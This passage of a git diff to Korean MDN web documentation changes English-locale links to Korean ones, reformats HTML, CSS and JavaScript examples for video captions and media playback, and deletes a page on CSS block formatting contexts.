 - 만약 사용자의 커스텀 스타일을 사용하거나 사용자에 의해서 스타일이 적용되어 있다면, `revert` 는 user agent의 default 스타일로 되돌립니다.
 - 만약 user agent default 스타일만 지정되어있다면, {{cssxref("unset")}}과 마찬가지의 의미입니다.
 
-`revert` 키워드는 많은 경우에서 [`unset`](/en-US/docs/Web/CSS/unset) 과 같은 성질을 가집니다. 한가지 차이점은 user agent에 의한 스타일이냐 유저가 지정한 스타일이냐의 차이입니다.
+`revert` 키워드는 많은 경우에서 [`unset`](/ko/docs/Web/CSS/unset) 과 같은 성질을 가집니다. 한가지 차이점은 user agent에 의한 스타일이냐 유저가 지정한 스타일이냐의 차이입니다.
 
 Revert 는 자식 요소까지 변경하지는 않습니다. (하지만 자식 요소에 특별히 rule이 지정되어 있지 않다면 적용됩니다.). 그래서 만약에 모든 섹션에 `color: green` 속성을 지정하고 `all: revert` 를 사용하면 모든 섹션의 컬러값은 black으로 돌아갈 것입니다. 하지만 만약, 당신이 section 내의 모든 p에 red를 지정했다면 그것들은 red로 유지될 것입니다.
 
diff --git a/files/ko/web/css/specificity/index.md b/files/ko/web/css/specificity/index.md
index 7dbe54d6493f39..b83eff216b7d3e 100644
--- a/files/ko/web/css/specificity/index.md
+++ b/files/ko/web/css/specificity/index.md
@@ -127,7 +127,7 @@ p.awesome {
 
 ID를 ID 선택자 대신 속성 선택자로 선택하면 클래스 1개와 같은 명시도가 됩니다. 두 선택자의 명시도가 같아졌으므로 나중에 오는 규칙이 우선합니다.
 
-#### 아래에서 자세한 정보를 확인하세요:
+#### 아래에서 자세한 정보를 확인하세요
 
 - <https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css>
 - <https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean>
diff --git a/files/ko/web/css/text-shadow/index.md b/files/ko/web/css/text-shadow/index.md
index 722dcba5af05a0..79805924424d78 100644
--- a/files/ko/web/css/text-shadow/index.md
+++ b/files/ko/web/css/text-shadow/index.md
@@ -42,7 +42,7 @@ Each shadow is specified as two or three `<length>` values, followed optionally
 
 When more than one shadow is given, shadows are applied front-to-back, with the first-specified shadow on top.
 
-This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first-letter")}} [pseudo-elements](/en-US/docs/Web/CSS/Pseudo-elements).
+This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first-letter")}} [pseudo-elements](/ko/docs/Web/CSS/Pseudo-elements).
 
 ### Values
 
@@ -109,4 +109,4 @@ This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first
 
 - {{cssxref("box-shadow")}}
 - The {{cssxref("&lt;color&gt;")}} data type (for specifying the shadow color)
-- [Applying color to HTML elements using CSS](/en-US/docs/Web/CSS/CSS_Colors/Applying_color)
+- [Applying color to HTML elements using CSS](/ko/docs/Web/CSS/CSS_Colors/Applying_color)
diff --git a/files/ko/web/css/transform-function/index.md b/files/ko/web/css/transform-function/index.md
index 0665ba46ca0b3a..b7b85d26e820c3 100644
--- a/files/ko/web/css/transform-function/index.md
+++ b/files/ko/web/css/transform-function/index.md
@@ -44,62 +44,62 @@ The `<transform-function>` data type is specified using one of the transformatio
 
 ### 행렬 변형
 
-- [`matrix()`](/en-US/docs/Web/CSS/transform-function/matrix)
+- [`matrix()`](/ko/docs/Web/CSS/transform-function/matrix)
   - : Describes a homogeneous 2D transformation matrix.
-- [`matrix3d()`](/en-US/docs/Web/CSS/transform-function/matrix3d)
+- [`matrix3d()`](/ko/docs/Web/CSS/transform-function/matrix3d)
   - : Describes a 3D transformation as a 4×4 homogeneous matrix.
 
 ### 원근
 
-- [`perspective()`](/en-US/docs/Web/CSS/transform-function/perspective)
+- [`perspective()`](/ko/docs/Web/CSS/transform-function/perspective)
   - : Sets the distance between the user and the z=0 plane.
 
 ### 회전
 
-- [`rotate()`](/en-US/docs/Web/CSS/transform-function/rotate)
+- [`rotate()`](/ko/docs/Web/CSS/transform-function/rotate)
   - : Rotates an element around a fixed point on the 2D plane.
-- [`rotate3d()`](/en-US/docs/Web/CSS/transform-function/rotate3d)
+- [`rotate3d()`](/ko/docs/Web/CSS/transform-function/rotate3d)
   - : Rotates an element around a fixed axis in 3D space.
-- [`rotateX()`](/en-US/docs/Web/CSS/transform-function/rotateX)
+- [`rotateX()`](/ko/docs/Web/CSS/transform-function/rotateX)
   - : Rotates an element around the horizontal axis.
-- [`rotateY()`](/en-US/docs/Web/CSS/transform-function/rotateY)
+- [`rotateY()`](/ko/docs/Web/CSS/transform-function/rotateY)
   - : Rotates an element around the vertical axis.
-- [`rotateZ()`](/en-US/docs/Web/CSS/transform-function/rotateZ)
+- [`rotateZ()`](/ko/docs/Web/CSS/transform-function/rotateZ)
   - : Rotates an element around the z-axis.
 
 ### 크기 조절
 
-- [`scale()`](/en-US/docs/Web/CSS/transform-function/scale)
+- [`scale()`](/ko/docs/Web/CSS/transform-function/scale)
   - : Scales an element up or down on the 2D plane.
-- [`scale3d()`](/en-US/docs/Web/CSS/transform-function/scale3d)
+- [`scale3d()`](/ko/docs/Web/CSS/transform-function/scale3d)
   - : Scales an element up or down in 3D space.
-- [`scaleX()`](/en-US/docs/Web/CSS/transform-function/scaleX)
+- [`scaleX()`](/ko/docs/Web/CSS/transform-function/scaleX)
   - : Scales an element up or down horizontally.
-- [`scaleY()`](/en-US/docs/Web/CSS/transform-function/scaleY)
+- [`scaleY()`](/ko/docs/Web/CSS/transform-function/scaleY)
   - : Scales an element up or down vertically.
-- [`scaleZ()`](/en-US/docs/Web/CSS/transform-function/scaleZ)
+- [`scaleZ()`](/ko/docs/Web/CSS/transform-function/scaleZ)
   - : Scales an element up or down along the z-axis.
 
 ### 기울이기 (왜곡)
 
-- [`skew()`](/en-US/docs/Web/CSS/transform-function/skew)
+- [`skew()`](/ko/docs/Web/CSS/transform-function/skew)
   - : Skews an element on the 2D plane.
-- [`skewX()`](/en-US/docs/Web/CSS/transform-function/skewX)
+- [`skewX()`](/ko/docs/Web/CSS/transform-function/skewX)
   - : Skews an element in the horizontal direction.
-- [`skewY()`](/en-US/docs/Web/CSS/transform-function/skewY)
+- [`skewY()`](/ko/docs/Web/CSS/transform-function/skewY)
   - : Skews an element in the vertical direction.
 
 ### 이동
 
-- [`translate()`](/en-US/docs/Web/CSS/transform-function/translate)
+- [`translate()`](/ko/docs/Web/CSS/transform-function/translate)
   - : Translates an element on the 2D plane.
-- [`translate3d()`](/en-US/docs/Web/CSS/transform-function/translate3d)
+- [`translate3d()`](/ko/docs/Web/CSS/transform-function/translate3d)
   - : Translates an element in 3D space.
-- [`translateX()`](/en-US/docs/Web/CSS/transform-function/translateX)
+- [`translateX()`](/ko/docs/Web/CSS/transform-function/translateX)
   - : Translates an element horizontally.
-- [`translateY()`](/en-US/docs/Web/CSS/transform-function/translateY)
+- [`translateY()`](/ko/docs/Web/CSS/transform-function/translateY)
   - : Translates an element vertically.
-- [`translateZ()`](/en-US/docs/Web/CSS/transform-function/translateZ)
+- [`translateZ()`](/ko/docs/Web/CSS/transform-function/translateZ)
   - : Translates an element along the z-axis.
 
 ## 명세
diff --git a/files/ko/web/css/transform-function/matrix/index.md b/files/ko/web/css/transform-function/matrix/index.md
index 849ba2a2a54e26..9b3f6eaf642c31 100644
--- a/files/ko/web/css/transform-function/matrix/index.md
+++ b/files/ko/web/css/transform-function/matrix/index.md
@@ -127,5 +127,5 @@ div {
 
 - {{cssxref("transform")}}
 - {{cssxref("&lt;transform-function&gt;")}}
-- [`matrix3d()`](/en-US/docs/Web/CSS/transform-function/matrix3d)
+- [`matrix3d()`](/ko/docs/Web/CSS/transform-function/matrix3d)
 - [Understanding the CSS Transforms Matrix](https://dev.opera.com/articles/understanding-the-css-transforms-matrix/)
diff --git a/files/ko/web/css/vertical-align/index.md b/files/ko/web/css/vertical-align/index.md
index e02f6a10e6f332..969f32959551d9 100644
--- a/files/ko/web/css/vertical-align/index.md
+++ b/files/ko/web/css/vertical-align/index.md
@@ -53,7 +53,7 @@ vertical-align: unset;
 다음 값은 요소를 부모 요소에 대해 수직으로 정렬합니다.
 
 - `baseline`
-  - : 부모의 baseline에 맞추어 해당 엘리먼트의 baseline 을 정렬합니다. 몇몇 [replaced elements](/en-US/docs/Web/CSS/Replaced_element)의 베이스라인은 예를들면{{HTMLElement("textarea")}}은 HTML 명세에 정의되어 있지 않으므로, 이 키워드는 브라우저마다 다른 결과를 보여줍니다.
+  - : 부모의 baseline에 맞추어 해당 엘리먼트의 baseline 을 정렬합니다. 몇몇 [replaced elements](/ko/docs/Web/CSS/Replaced_element)의 베이스라인은 예를들면{{HTMLElement("textarea")}}은 HTML 명세에 정의되어 있지 않으므로, 이 키워드는 브라우저마다 다른 결과를 보여줍니다.
 - `sub`
   - : 해당 엘리먼트의 baseline을 부모의 subscript-baseline으로 정렬합니다.
 - `super`
diff --git a/files/ko/web/exslt/index.md b/files/ko/web/exslt/index.md
index 6650e8aa542a9d..1c4598e55e8240 100644
--- a/files/ko/web/exslt/index.md
+++ b/files/ko/web/exslt/index.md
@@ -2,6 +2,7 @@
 title: EXSLT
 slug: Web/EXSLT
 ---
+
 {{ XsltRef() }} EXSLT는 [XSLT](/ko/XSLT)의 확장입니다. 많은 모듈이 있으며, Firefox에서 지원되는 것들은 다음과 같습니다.
 
 - [Common](#Common) (`exsl`)
diff --git a/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md b/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md
index b3a92ec89fd4ab..d2338b3faecd32 100644
--- a/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md
+++ b/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.md
@@ -46,11 +46,24 @@ HTML5에서는 {{ htmlelement("track") }}를 이용하여 자막을 특정해서
 
 ```html
 <video id="video" controls preload="metadata">
-   <source src="video/sintel-short.mp4" type="video/mp4">
-   <source src="video/sintel-short.webm" type="video/webm">
-   <track label="English" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default>
-   <track label="Deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt">
-   <track label="Español" kind="subtitles" srclang="es" src="captions/vtt/sintel-es.vtt">
+  <source src="video/sintel-short.mp4" type="video/mp4" />
+  <source src="video/sintel-short.webm" type="video/webm" />
+  <track
+    label="English"
+    kind="subtitles"
+    srclang="en"
+    src="captions/vtt/sintel-en.vtt"
+    default />
+  <track
+    label="Deutsch"
+    kind="subtitles"
+    srclang="de"
+    src="captions/vtt/sintel-de.vtt" />
+  <track
+    label="Español"
+    kind="subtitles"
+    srclang="es"
+    src="captions/vtt/sintel-es.vtt" />
 </video>
 ```
 
@@ -66,18 +79,32 @@ In addition to adding the `<track>` elements, we have also added a new button to
 
 ```js
 <div id="video-controls" class="controls" data-state="hidden">
-   <button id="playpause" type="button" data-state="play">Play/Pause</button>
-   <button id="stop" type="button" data-state="stop">Stop</button>
-   <div class="progress">
-      <progress id="progress" value="0" min="0">
-         <span id="progress-bar"></span>
-      </progress>
-   </div>
-   <button id="mute" type="button" data-state="mute">Mute/Unmute</button>
-   <button id="volinc" type="button" data-state="volup">Vol+</button>
-   <button id="voldec" type="button" data-state="voldown">Vol-</button>
-   <button id="fs" type="button" data-state="go-fullscreen">Fullscreen</button>
-   <button id="subtitles" type="button" data-state="subtitles">CC</button>
+  <button id="playpause" type="button" data-state="play">
+    Play/Pause
+  </button>
+  <button id="stop" type="button" data-state="stop">
+    Stop
+  </button>
+  <div class="progress">
+    <progress id="progress" value="0" min="0">
+      <span id="progress-bar"></span>
+    </progress>
+  </div>
+  <button id="mute" type="button" data-state="mute">
+    Mute/Unmute
+  </button>
+  <button id="volinc" type="button" data-state="volup">
+    Vol+
+  </button>
+  <button id="voldec" type="button" data-state="voldown">
+    Vol-
+  </button>
+  <button id="fs" type="button" data-state="go-fullscreen">
+    Fullscreen
+  </button>
+  <button id="subtitles" type="button" data-state="subtitles">
+    CC
+  </button>
 </div>
 ```
 
@@ -89,14 +116,14 @@ No image is used for the captions button, so it is simply styled as:
 
 ```css
 .controls button[data-state="subtitles"] {
-    height:85%;
-    text-indent:0;
-    font-size:16px;
-    font-size:1rem;
-    font-weight:bold;
-    color:#666;
-    background:#000;
-    border-radius:2px;
+  height: 85%;
+  text-indent: 0;
+  font-size: 16px;
+  font-size: 1rem;
+  font-weight: bold;
+  color: #666;
+  background: #000;
+  border-radius: 2px;
 }
 ```
 
@@ -113,14 +140,14 @@ Browsers do vary as to what they support, so we will be attempting to bring a mo
 As with all the other buttons, one of the first things we need to do is store a handle to the subtitles' button:
 
 ```js
-var subtitles = document.getElementById('subtitles');
+var subtitles = document.getElementById("subtitles");
 ```
 
 We also initially turn off all subtitles, in case the browser turns any of them on by default:
 
 ```js
 for (var i = 0; i < video.textTracks.length; i++) {
-   video.textTracks[i].mode = 'hidden';
+  video.textTracks[i].mode = "hidden";
 }
 ```
 
@@ -139,14 +166,20 @@ All we need to do is to go through the video's `textTracks`, reading their prope
 ```js
 var subtitlesMenu;
 if (video.textTracks) {
-   var df = document.createDocumentFragment();
-   var subtitlesMenu = df.appendChild(document.createElement('ul'));
-   subtitlesMenu.className = 'subtitles-menu';
-   subtitlesMenu.appendChild(createMenuItem('subtitles-off', '', 'Off'));
-   for (var i = 0; i < video.textTracks.length; i++) {
-      subtitlesMenu.appendChild(createMenuItem('subtitles-' + video.textTracks[i].language, video.textTracks[i].language, video.textTracks[i].label));
-   }
-   videoContainer.appendChild(subtitlesMenu);
+  var df = document.createDocumentFragment();
+  var subtitlesMenu = df.appendChild(document.createElement("ul"));
+  subtitlesMenu.className = "subtitles-menu";
+  subtitlesMenu.appendChild(createMenuItem("subtitles-off", "", "Off"));
+  for (var i = 0; i < video.textTracks.length; i++) {
+    subtitlesMenu.appendChild(
+      createMenuItem(
+        "subtitles-" + video.textTracks[i].language,
+        video.textTracks[i].language,
+        video.textTracks[i].label,
+      ),
+    );
+  }
+  videoContainer.appendChild(subtitlesMenu);
 }
 ```
 
@@ -156,37 +189,36 @@ The creation of each list item and button is done by the `createMenuItem()` func
 
 ```js
 var subtitleMenuButtons = [];
-var createMenuItem = function(id, lang, label) {
-   var listItem = document.createElement('li');
-   var button = listItem.appendChild(document.createElement('button'));
-   button.setAttribute('id', id);
-   button.className = 'subtitles-button';
-   if (lang.length > 0) button.setAttribute('lang', lang);
-   button.value = label;
-   button.setAttribute('data-state', 'inactive');
-   button.appendChild(document.createTextNode(label));
-   button.addEventListener('click', function(e) {
-      // Set all buttons to inactive
-      subtitleMenuButtons.map(function(v, i, a) {
-         subtitleMenuButtons[i].setAttribute('data-state', 'inactive');
-      });
-      // Find the language to activate
-      var lang = this.getAttribute('lang');
-      for (var i = 0; i < video.textTracks.length; i++) {
-         // For the 'subtitles-off' button, the first condition will never match so all will subtitles be turned off
-         if (video.textTracks[i].language == lang) {
-            video.textTracks[i].mode = 'showing';
-            this.setAttribute('data-state', 'active');
-         }
-         else {
-            video.textTracks[i].mode = 'hidden';
-         }
+var createMenuItem = function (id, lang, label) {
+  var listItem = document.createElement("li");
+  var button = listItem.appendChild(document.createElement("button"));
+  button.setAttribute("id", id);
+  button.className = "subtitles-button";
+  if (lang.length > 0) button.setAttribute("lang", lang);
+  button.value = label;
+  button.setAttribute("data-state", "inactive");
+  button.appendChild(document.createTextNode(label));
+  button.addEventListener("click", function (e) {
+    // Set all buttons to inactive
+    subtitleMenuButtons.map(function (v, i, a) {
+      subtitleMenuButtons[i].setAttribute("data-state", "inactive");
+    });
+    // Find the language to activate
+    var lang = this.getAttribute("lang");
+    for (var i = 0; i < video.textTracks.length; i++) {
+      // For the 'subtitles-off' button, the first condition will never match so all will subtitles be turned off
+      if (video.textTracks[i].language == lang) {
+        video.textTracks[i].mode = "showing";
+        this.setAttribute("data-state", "active");
+      } else {
+        video.textTracks[i].mode = "hidden";
       }
-      subtitlesMenu.style.display = 'none';
-   });
-   subtitleMenuButtons.push(button);
-   return listItem;
-}
+    }
+    subtitlesMenu.style.display = "none";
+  });
+  subtitleMenuButtons.push(button);
+  return listItem;
+};
 ```
 
 This function builds the required {{ htmlelement("li") }} and {{ htmlelement("button") }} elements, and returns them so they can be added to the subtitles menu list. It also sets up the required event listeners on the button to toggle the relevant subtitle set on or off. This is done by simply setting the required subtlte's `mode` attribute to `showing`, and setting the others to `hidden`.
@@ -196,10 +228,11 @@ Once the menu is built, it is then inserted into the DOM at the bottom of the vi
 Initially the menu is hidden by default, so an event listener needs to be added to our subtitles button to toggle it:
 
 ```js
-subtitles.addEventListener('click', function(e) {
-   if (subtitlesMenu) {
-      subtitlesMenu.style.display = (subtitlesMenu.style.display == 'block' ? 'none' : 'block');
-   }
+subtitles.addEventListener("click", function (e) {
+  if (subtitlesMenu) {
+    subtitlesMenu.style.display =
+      subtitlesMenu.style.display == "block" ? "none" : "block";
+  }
 });
 ```
 
@@ -209,31 +242,31 @@ We also added some rudimentary styling for the newly created subtitles menu:
 
 ```css
 .subtitles-menu {
-    display:none;
-    position:absolute;
-    bottom:14.8%;
-    right:20px;
-    background:#666;
-    list-style-type:none;
-    margin:0;
-    padding:0;
-    width:100px;
-    padding:10px;
+  display: none;
+  position: absolute;
+  bottom: 14.8%;
+  right: 20px;
+  background: #666;
+  list-style-type: none;
+  margin: 0;
+  padding: 0;
+  width: 100px;
+  padding: 10px;
 }
 
 .subtitles-menu li {
-    padding:0;
-    text-align:center;
+  padding: 0;
+  text-align: center;
 }
 
 .subtitles-menu li button {
-    border:none;
-    background:#000;
-    color:#fff;
-    cursor:pointer;
-    width:90%;
-    padding:2px 5px;
-    border-radius:2px;
+  border: none;
+  background: #000;
+  color: #fff;
+  cursor: pointer;
+  width: 90%;
+  padding: 2px 5px;
+  border-radius: 2px;
 }
 ```
 
@@ -257,7 +290,7 @@ For example, to change the text colour of the text track cues you can write:
 
 ```css
 ::cue {
-   color:#ccc;
+  color: #ccc;
 }
 ```
 
@@ -272,9 +305,9 @@ If the WebVTT file uses [voice spans](http://dev.w3.org/html5/webvtt/#dfn-webvtt
 Then this specific 'voice' will be stylable like so:
 
 ```css
-::cue(v[voice='Test']) {
-   color:#fff;
-   background:#0095dd;
+::cue(v[voice="Test"]) {
+  color: #fff;
+  background: #0095dd;
 }
 ```
 
diff --git a/files/ko/web/guide/audio_and_video_delivery/index.md b/files/ko/web/guide/audio_and_video_delivery/index.md
index 18fc9345425efb..ef8361f78a1df6 100644
--- a/files/ko/web/guide/audio_and_video_delivery/index.md
+++ b/files/ko/web/guide/audio_and_video_delivery/index.md
@@ -23,10 +23,10 @@ To deliver video and audio, the general workflow is usually something like this:
 
 ```html
 <audio controls preload="auto">
-  <source src="audiofile.mp3" type="audio/mpeg">
+  <source src="audiofile.mp3" type="audio/mpeg" />
 
   <!-- fallback for browsers that don't suppport mp3 -->
-  <source src="audiofile.ogg" type="audio/ogg">
+  <source src="audiofile.ogg" type="audio/ogg" />
 
   <!-- fallback for browsers that don't support audio tag -->
   <a href="audiofile.mp3">download audio</a>
@@ -42,15 +42,25 @@ For further info see [Cross Browser Audio Basics (HTML5 Audio In Detail)](/en-US
 ### HTML Video
 
 ```html
-<video controls width="640" height="480" poster="initialimage.png" autoplay muted>
-  <source src="videofile.mp4" type="video/mp4">
+<video
+  controls
+  width="640"
+  height="480"
+  poster="initialimage.png"
+  autoplay
+  muted>
+  <source src="videofile.mp4" type="video/mp4" />
 
   <!-- fallback for browsers that don't suppport mp4 -->
-  <source src="videofile.webm" type="video/webm">
+  <source src="videofile.webm" type="video/webm" />
 
   <!-- specifying subtitle files -->
-  <track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="English">
-  <track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="Norwegian">
+  <track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="English" />
+  <track
+    src="subtitles_no.vtt"
+    kind="subtitles"
+    srclang="no"
+    label="Norwegian" />
 
   <!-- fallback for browsers that don't support video tag -->
   <a href="videofile.mp4">download video</a>
@@ -69,13 +79,19 @@ You can create a more comprehensive Fallback using Flash. [Using flashmediaeleme
 
 ```html
 <audio controls>
-  <source src="audiofile.mp3" type="audio/mpeg">
-  <source src="audiofile.ogg" type="audio/ogg">
+  <source src="audiofile.mp3" type="audio/mpeg" />
+  <source src="audiofile.ogg" type="audio/ogg" />
   <!-- fallback for non supporting browsers goes here -->
   <a href="audiofile.mp3">download audio</a>
-  <object width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf">
+  <object
+    width="320"
+    height="30"
+    type="application/x-shockwave-flash"
+    data="flashmediaelement.swf">
     <param name="movie" value="flashmediaelement.swf" />
-    <param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" />
+    <param
+      name="flashvars"
+      value="controls=true&isvideo=false&file=audiofile.mp3" />
   </object>
 </audio>
 ```
@@ -87,12 +103,12 @@ The process is very similar with video — just remember to set `isvideo=true` i
 ### JavaScript Audio
 
 ```js
-var myAudio = document.createElement('audio');
+var myAudio = document.createElement("audio");
 
-if (myAudio.canPlayType('audio/mpeg')) {
-  myAudio.setAttribute('src','audiofile.mp3');
-} else if (myAudio.canPlayType('audio/ogg')) {
-  myAudio.setAttribute('src','audiofile.ogg');
+if (myAudio.canPlayType("audio/mpeg")) {
+  myAudio.setAttribute("src", "audiofile.mp3");
+} else if (myAudio.canPlayType("audio/ogg")) {
+  myAudio.setAttribute("src", "audiofile.ogg");
 }
 
 myAudio.currentTime = 5;
@@ -114,12 +130,12 @@ It's also possible to feed an {{ htmlelement("audio") }} element a base64 encode
 ### JavaScript Video
 
 ```js
-var myVideo = document.createElement('video');
+var myVideo = document.createElement("video");
 
-if (myVideo.canPlayType('video/mp4')) {
-  myVideo.setAttribute('src','videofile.mp4');
-} else if (myVideo.canPlayType('video/webm')) {
-  myVideo.setAttribute('src','videofile.webm');
+if (myVideo.canPlayType("video/mp4")) {
+  myVideo.setAttribute("src", "videofile.mp4");
+} else if (myVideo.canPlayType("video/webm")) {
+  myVideo.setAttribute("src", "videofile.webm");
 }
 
 myVideo.width = 480;
@@ -131,31 +147,34 @@ We set the source of the video depending on the type of video file the browser s
 ## Web Audio API
 
 ```js
-  var context;
-  var request;
-  var source;
-
-  try {
-    context = new AudioContext();
-    request = new XMLHttpRequest();
-    request.open("GET","http://jplayer.org/audio/mp3/RioMez-01-Sleep_together.mp3",true);
-    request.responseType = "arraybuffer";
-
-    request.onload = function() {
-      context.decodeAudioData(request.response, function(buffer) {
-        source = context.createBufferSource();
-        source.buffer = buffer;
-        source.connect(context.destination);
-        // auto play
-        source.start(0); // start was previously noteOn
-      });
-    };
-
-    request.send();
-
-  } catch(e) {
-    alert('web audio api not supported');
-  }
+var context;
+var request;
+var source;
+
+try {
+  context = new AudioContext();
+  request = new XMLHttpRequest();
+  request.open(
+    "GET",
+    "http://jplayer.org/audio/mp3/RioMez-01-Sleep_together.mp3",
+    true,
+  );
+  request.responseType = "arraybuffer";
+
+  request.onload = function () {
+    context.decodeAudioData(request.response, function (buffer) {
+      source = context.createBufferSource();
+      source.buffer = buffer;
+      source.connect(context.destination);
+      // auto play
+      source.start(0); // start was previously noteOn
+    });
+  };
+
+  request.send();
+} catch (e) {
+  alert("web audio api not supported");
+}
 ```
 
 In this example we retrieve an MP3 file via XHR, load it into a source and play it ([Try it for yourself](http://jsbin.com/facutone/1/edit?js)). Find more about Web Audio API basics in [Using the Web Audio API](/ko/docs/Web/API/Web_Audio_API/Using_Web_Audio_API).
@@ -174,17 +193,20 @@ Next, if supported connect the webcam source to the video element:
 
 ```js
 if (navigator.mediaDevices) {
-  navigator.mediaDevices.getUserMedia({ video: true, audio: false })
-  .then(function onSuccess(stream) {
-    var video = document.getElementById('webcam');
-    video.autoplay = true;
-    video.srcObject = stream;
-  })
-  .catch(function onError() {
-    alert('There has been a problem retreiving the streams - are you running on file:/// or did you disallow access?');
-  });
+  navigator.mediaDevices
+    .getUserMedia({ video: true, audio: false })
+    .then(function onSuccess(stream) {
+      var video = document.getElementById("webcam");
+      video.autoplay = true;
+      video.srcObject = stream;
+    })
+    .catch(function onError() {
+      alert(
+        "There has been a problem retreiving the streams - are you running on file:/// or did you disallow access?",
+      );
+    });
 } else {
-  alert('getUserMedia is not supported in this browser.');
+  alert("getUserMedia is not supported in this browser.");
 }
 ```
 
@@ -197,23 +219,24 @@ New standards are being rolled out to allow your browser to grab media from your
 The main mechanism is outlined below:
 
 ```js
-navigator.mediaDevices.getUserMedia({audio:true})
+navigator.mediaDevices
+  .getUserMedia({ audio: true })
   .then(function onSuccess(stream) {
     var recorder = new MediaRecorder(stream);
 
     var data = [];
-    recorder.ondataavailable = function(e) {
+    recorder.ondataavailable = function (e) {
       data.push(e.data);
     };
     recorder.start();
-    recorder.onerror = function(e) {
+    recorder.onerror = function (e) {
       throw e.error || new Error(e.name); // e.name is FF non-spec
-    }
-    recorder.onstop = function(e) {
-      var audio = document.createElement('audio');
+    };
+    recorder.onstop = function (e) {
+      var audio = document.createElement("audio");
       audio.src = window.URL.createObjectURL(new Blob(data));
-    }
-    setTimeout(function() {
+    };
+    setTimeout(function () {
       rec.stop();
     }, 5000);
   })
@@ -259,17 +282,18 @@ You may detect click, touch and/or keyboard events to trigger actions such as pl
 A quick example — first set up your audio and custom controls in HTML:
 
 ```html
-  <audio id="my-audio" src="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"></audio>
-  <button id="my-control">play</button>
+<audio
+  id="my-audio"
+  src="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"></audio>
+<button id="my-control">play</button>
 ```
 
 add a bit of JavaScript to detect events to play and pause the audio:
 
 ```js
-window.onload = function() {
-
-  var myAudio = document.getElementById('my-audio');
-  var myControl = document.getElementById('my-control');
+window.onload = function () {
+  var myAudio = document.getElementById("my-audio");
+  var myControl = document.getElementById("my-control");
 
   function switchState() {
     if (myAudio.paused == true) {
@@ -282,17 +306,22 @@ window.onload = function() {
   }
 
   function checkKey(e) {
-    if (e.keycode == 32 ) { //spacebar
+    if (e.keycode == 32) {
+      //spacebar
       switchState();
     }
   }
 
-  myControl.addEventListener('click', function() {
-    switchState();
-  }, false);
+  myControl.addEventListener(
+    "click",
+    function () {
+      switchState();
+    },
+    false,
+  );
 
-  window.addEventListener( "keypress", checkKey, false );
-}
+  window.addEventListener("keypress", checkKey, false);
+};
 ```
 
 You can [try this example out here](http://jsbin.com/jujeladu/2/edit). For more information, see [Creating your own custom audio player](/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Creating_your_own_custom_audio_player).
@@ -322,11 +351,11 @@ Media elements provide support for moving the current playback position to speci
 You can use the element's `seekable` property to determine the ranges of the media that are currently available for seeking to. This returns a {{ domxref("TimeRanges") }} object listing the ranges of times that you can seek to.
 
 ```js
-var mediaElement = document.querySelector('#mediaElementID');
-mediaElement.seekable.start(0);  // Returns the starting time (in seconds)
-mediaElement.seekable.end(0);    // Returns the ending time (in seconds)
+var mediaElement = document.querySelector("#mediaElementID");
+mediaElement.seekable.start(0); // Returns the starting time (in seconds)
+mediaElement.seekable.end(0); // Returns the ending time (in seconds)
 mediaElement.currentTime = 122; // Seek to 122 seconds
-mediaElement.played.end(0);      // Returns the number of seconds the browser has played
+mediaElement.played.end(0); // Returns the number of seconds the browser has played
 ```
 
 ### Specifying playback range
@@ -447,14 +476,18 @@ Another way to show the fallback content of a video, when none of the sources co
 ```
 
 ```js
-var v = document.querySelector('video'),
-    sources = v.querySelectorAll('source'),
-    lastsource = sources[sources.length-1];
-lastsource.addEventListener('error', function(ev) {
-  var d = document.createElement('div');
-  d.innerHTML = v.innerHTML;
-  v.parentNode.replaceChild(d, v);
-}, false);
+var v = document.querySelector("video"),
+  sources = v.querySelectorAll("source"),
+  lastsource = sources[sources.length - 1];
+lastsource.addEventListener(
+  "error",
+  function (ev) {
+    var d = document.createElement("div");
+    d.innerHTML = v.innerHTML;
+    v.parentNode.replaceChild(d, v);
+  },
+  false,
+);
 ```
 
 ## Audio/Video JavaScript Libraries
diff --git a/files/ko/web/guide/css/block_formatting_context/index.md b/files/ko/web/guide/css/block_formatting_context/index.md
deleted file mode 100644
index f60e2e40be30e6..00000000000000
--- a/files/ko/web/guide/css/block_formatting_context/index.md
+++ /dev/null
@@ -1,191 +0,0 @@
----
-title: 블록 서식 맥락
-slug: Web/Guide/CSS/Block_formatting_context
----
-
-{{ CSSRef }}
-
-**블록 서식 맥락**(block format context)은 웹 페이지를 렌더링하는 시각적 CSS의 일부로서, 블록 박스의 레이아웃이 발생하는 지점과 플로팅 요소의 상호작용 범위를 결정하는 범위입니다.
-
-블록 서식 맥락은 다음과 같은 경우에 생성됩니다.
-
-- 문서의 루트 요소({{htmlelement("html")}}).
-- 플로팅 요소({{cssxref("float")}}이 `none`이 아님).
-- 절대 위치를 지정한 요소({{cssxref("position")}}이 `absolute` 또는 `fixed`).
-- 인라인 블록({{cssxref("display")}}가 `inline-block`).
-- 표 칸({{cssxref("display")}}가 `table-cell`, HTML 표 칸의 기본값).
-- 표 주석({{cssxref("display")}}가 `table-caption`, HTML 표 주석의 기본값).
-- {{cssxref("display")}}가 `table`, `table-row`, `table-row-group`, `table-header-group`, `table-footer-group` (HTML 표에서, 각각 표 전체, 행, 본문, 헤더, 푸터의 기본값) 또는 `inline-table`인 요소가 암시적으로 생성한 무명 칸.
-- {{cssxref("overflow")}}가 `visible`이 아닌 블록 요소.
-- {{cssxref("display")}}가 `flow-root`.
-- {{cssxref("contain")}}이 `layout`, `content`, `paint`.
